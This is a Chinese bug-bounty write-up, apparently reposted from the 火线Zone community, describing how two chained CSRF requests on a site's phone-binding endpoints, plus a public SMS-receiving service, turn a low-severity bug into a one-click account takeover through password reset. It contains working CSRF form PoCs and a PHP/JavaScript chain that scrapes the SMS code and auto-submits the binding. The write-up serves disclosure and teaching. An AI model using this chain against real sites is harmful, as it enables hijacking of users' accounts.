一个低危CSRF漏洞的逆袭
Posted 火线Zone
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一个低危CSRF漏洞的逆袭相关的知识,希望对你有一定的参考价值。
【周度激励】
1.【火线项目案例】如何挖到空白页面的高危级别未授权漏 https://t.zsxq.com/mUvJQBa
举起手来 第一名:500查克拉奖励,500元现金。
2.Gitlab错误配置 https://t.zsxq.com/bMNvJ6i Wooooooo 第二名:300查克拉奖励,300元现金。3.越权测试小tips https://t.zsxq.com/EUnAmQB amirex 第三名:200查克拉奖励,200元现金。
这次不是空白页面了,讲一个几年前提交的CSRF逆袭成任意密码重置最终拿到高危漏洞奖励的案例,希望大家可以举一反三,分享更多有意思的利用方式。
一般来说CSRF在前端漏洞中属于鄙视链的最底层来,危害往往需要结合业务场景综合考虑。这次项目是几年前参加的一个私密项目,不过现在这个厂商还没有倒闭,这次打马可要小心一点了。
1.信息收集
注册完账号发现可以不经过旧手机号的验证绑定新手机号,思考一下,这里好像不太对劲,此事必有蹊跷啊~
经过测试修改手机处的确存在CSRF漏洞,但是有一个短信验证码的变量啊,这个可不是固定的,思考一下,新手机号我可以指定的啊,那么短信验证码我也是已知的啊,这不就得了么,我可以构造两个CSRF的连环攻击来实现1click的任意手机号码绑定,说干就干,网上有很多公共的短信验证码在线接收平台。
https://www.smsbo.com/messages/600fb5dcd5f46474bb8b4d0f
1.构造发送验证码的POC
我们先构造一个向指定手机号发送验证码的POC
<html>
<body>
<form action="http://www.target.com/account/bindMobileSendCode" method="POST">
<input type="hidden" name="phone" value="16517689338" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
2.构造绑定手机号的请求
<html>
<body>
<form action="http://www.target.com/account/bindMobile" method="POST">
<input type="hidden" name="phone" value="16517689338" />
<input type="hidden" name="code" value="<?php echo $code;?>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
3.构造攻击链POC
<html>
<body>
$url = 'https://www.smsbo.com/messages/600fb5dcd5f46474bb8b4d0f';
$ch = curl_init();
curl_setopt($ch, CURLOPT_FILE, fopen('php://stdout', 'w'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_URL, $url);
$html = curl_exec($ch);
curl_close($ch);
$re_pattern = '<span class="font\-weight\-bold code\-number code\-btn" data\-clipboard\-text="(.*?)">';
preg_match($re_pattern, $html, $matches);
$code = $matches[1];
if($code!=''){
echo '<script language=javascript> setTimeout("document.getElementById("bindcode").submit()",10000)</script>';
}
<form id="bindcode" action="http://www.target.com/account/bindMobile" method="POST">
<input type="hidden" name="phone" value="16517689338" />
<input type="hidden" name="code" value="<?php echo $code;?>" />
<input type="submit" value="Submit request" />
</form>
<html>
<form id="sendcode" action="http://www.target.com/account/bindMobileSendCode" method="POST">
<input type="hidden" name="phone" value="16517689338" />
<input type="submit" value="Submit request" />
</form>
<script language=javascript>document.getElementById("bindcode").submit()</script>
</body>
</html>
用户点击触发利用链,将手机号码绑定为我指定的手机号码
成功绑定后可通过我的恶意手机号码进行密码找回,登录目标账户
漏洞处理:
提交漏洞 2017.07.19
确认漏洞 2017.07.20
确认奖金 3000元 2017.07.25
马赛克火线Zone公开 2021.03.26
【火线Zone】
火线Zone是[火线安全平台]运营的封闭式社区,社区成员必须在[火线安全平台]提交有效漏洞才能申请免费加入,符合要求的白帽子可联系[火小表妹]免费加入~
我们不希望出现劣币驱逐良币的结果,我们不希望一个技术社区变成一个水区!
欢迎具备分享精神的白帽子加入火线Zone,共建一个有技术氛围的优质社区!
以上是关于一个低危CSRF漏洞的逆袭的主要内容,如果未能解决你的问题,请参考以下文章